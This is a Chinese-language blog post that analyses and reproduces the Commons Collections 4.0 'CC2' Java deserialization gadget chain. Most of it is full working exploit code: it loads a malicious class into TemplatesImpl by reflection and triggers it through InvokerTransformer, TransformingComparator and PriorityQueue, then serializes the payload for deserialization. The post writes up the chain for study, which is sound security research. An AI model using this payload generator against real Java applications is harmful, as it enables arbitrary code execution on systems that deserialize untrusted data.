流程图
分析与复现
0x00 概述
CC2 与 CC4 最大的区别,就是 CC2 中没有用到 Transformer 数组,而是直接由 compare 调用了 invokeTransformer 执行任意命令。为什么要有这样的差异呢?
一个原因在于参数传递需求的不同:
- CC4 使用 chainedTransformer 进行参数传递,用 ConstantTransformer 将要传递的参数固定住。
- CC2 使用 PriorityQueue,可以将参数以队列元素的形式传递进去,因此不需要 chainedTransformer。
另一个重要的原因在于数组的使用,某些场景下,含有数组的 payload 可能会出现无法正常反序列化的情况(具体可见 shiro550 反序列化漏洞)。
CC4 这一条链忘记了的可以再去阅读:https://dummykitty.github.io/2021/12/22/CommonsCollections4/
利用版本
CommonsCollections 4.0
限制
JDK版本:暂无限制
0x01 触发点
触发点为 ClassLoader.loadClass。
所以在编写 exp 时,这部分的代码不用变,直接粘贴过来即可。
Path path = Paths.get("C:\\tmp\\Calc2.class");
byte[] bytes = Files.readAllBytes(path);
byte[][] bytes1 = {bytes};
TemplatesImpl templates = new TemplatesImpl();
Field bytecodesField = TemplatesImpl.class.getDeclaredField("_bytecodes");
bytecodesField.setAccessible(true);
bytecodesField.set(templates,bytes1);
Field nameField = TemplatesImpl.class.getDeclaredField("_name");
nameField.setAccessible(true);
nameField.set(templates,"aaa");
Field classField = TemplatesImpl.class.getDeclaredField("_class");
classField.setAccessible(true);
classField.set(templates,null);
Field tfactoryField = TemplatesImpl.class.getDeclaredField("_tfactory");
tfactoryField.setAccessible(true);
tfactoryField.set(templates,new TransformerFactoryImpl());
0x02 调用链
调用链示意图如下:
我们可以先试一下 invokeTransformer 调用 TemplatesImpl.newTransformer
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections4.functors.InvokerTransformer;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Path;
import java.nio.file.Paths;
public class CC2 {
public static void main(String[] args) throws Exception{
TestTransformingComparator();
// unserialize("abc.ser.bin");
}
public static void TestTransformingComparator() throws Exception{
Path path = Paths.get("C:\\tmp\\Calc2.class");
byte[] bytes = Files.readAllBytes(path);
byte[][] bytes1 = {bytes};
TemplatesImpl templates = new TemplatesImpl();
Field bytecodesField = TemplatesImpl.class.getDeclaredField("_bytecodes");
bytecodesField.setAccessible(true);
bytecodesField.set(templates,bytes1);
Field nameField = TemplatesImpl.class.getDeclaredField("_name");
nameField.setAccessible(true);
nameField.set(templates,"aaa");
Field classField = TemplatesImpl.class.getDeclaredField("_class");
classField.setAccessible(true);
classField.set(templates,null);
Field tfactoryField = TemplatesImpl.class.getDeclaredField("_tfactory");
tfactoryField.setAccessible(true);
tfactoryField.set(templates,new TransformerFactoryImpl());
InvokerTransformer invokerTransformer = new InvokerTransformer("newTransformer", null, null);
invokerTransformer.transform(templates);
}
}
可以成功弹出计算器。
将 chainedTransformer 和后续的 PriorityQueue 加上:
最终 exp:
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Path;
import java.nio.file.Paths;
import java.util.PriorityQueue;
public class CC2 {
public static void main(String[] args) throws Exception{
// TestTransformingComparator();
unserialize("abc.ser.bin");
}
public static void TestTransformingComparator() throws Exception{
Path path = Paths.get("C:\\tmp\\Calc2.class");
byte[] bytes = Files.readAllBytes(path);
byte[][] bytes1 = {bytes};
TemplatesImpl templates = new TemplatesImpl();
Field bytecodesField = TemplatesImpl.class.getDeclaredField("_bytecodes");
bytecodesField.setAccessible(true);
bytecodesField.set(templates,bytes1);
Field nameField = TemplatesImpl.class.getDeclaredField("_name");
nameField.setAccessible(true);
nameField.set(templates,"aaa");
Field classField = TemplatesImpl.class.getDeclaredField("_class");
classField.setAccessible(true);
classField.set(templates,null);
Field tfactoryField = TemplatesImpl.class.getDeclaredField("_tfactory");
tfactoryField.setAccessible(true);
tfactoryField.set(templates,new TransformerFactoryImpl());
InvokerTransformer invokerTransformer = new InvokerTransformer("newTransformer", null, null);
TransformingComparator transformingComparator = new TransformingComparator(invokerTransformer, null);
PriorityQueue priorityQueue = new PriorityQueue();
Field comparatorField = PriorityQueue.class.getDeclaredField("comparator");
comparatorField.setAccessible(true);
comparatorField.set(priorityQueue,null);
priorityQueue.add("1");
priorityQueue.add("2");
setFieldValue(priorityQueue,"queue",new Object[]{templates,templates});
comparatorField.set(priorityQueue,transformingComparator);
serialize(priorityQueue);
}
public static void serialize(Object o) throws Exception{
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("abc.ser.bin"));
oos.writeObject(o);
}
public static void unserialize(String filePath) throws Exception{
ObjectInputStream ins = new ObjectInputStream(new FileInputStream(filePath));
ins.readObject();
}
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
}
参考资料
PREVIOUSCommonsCollections3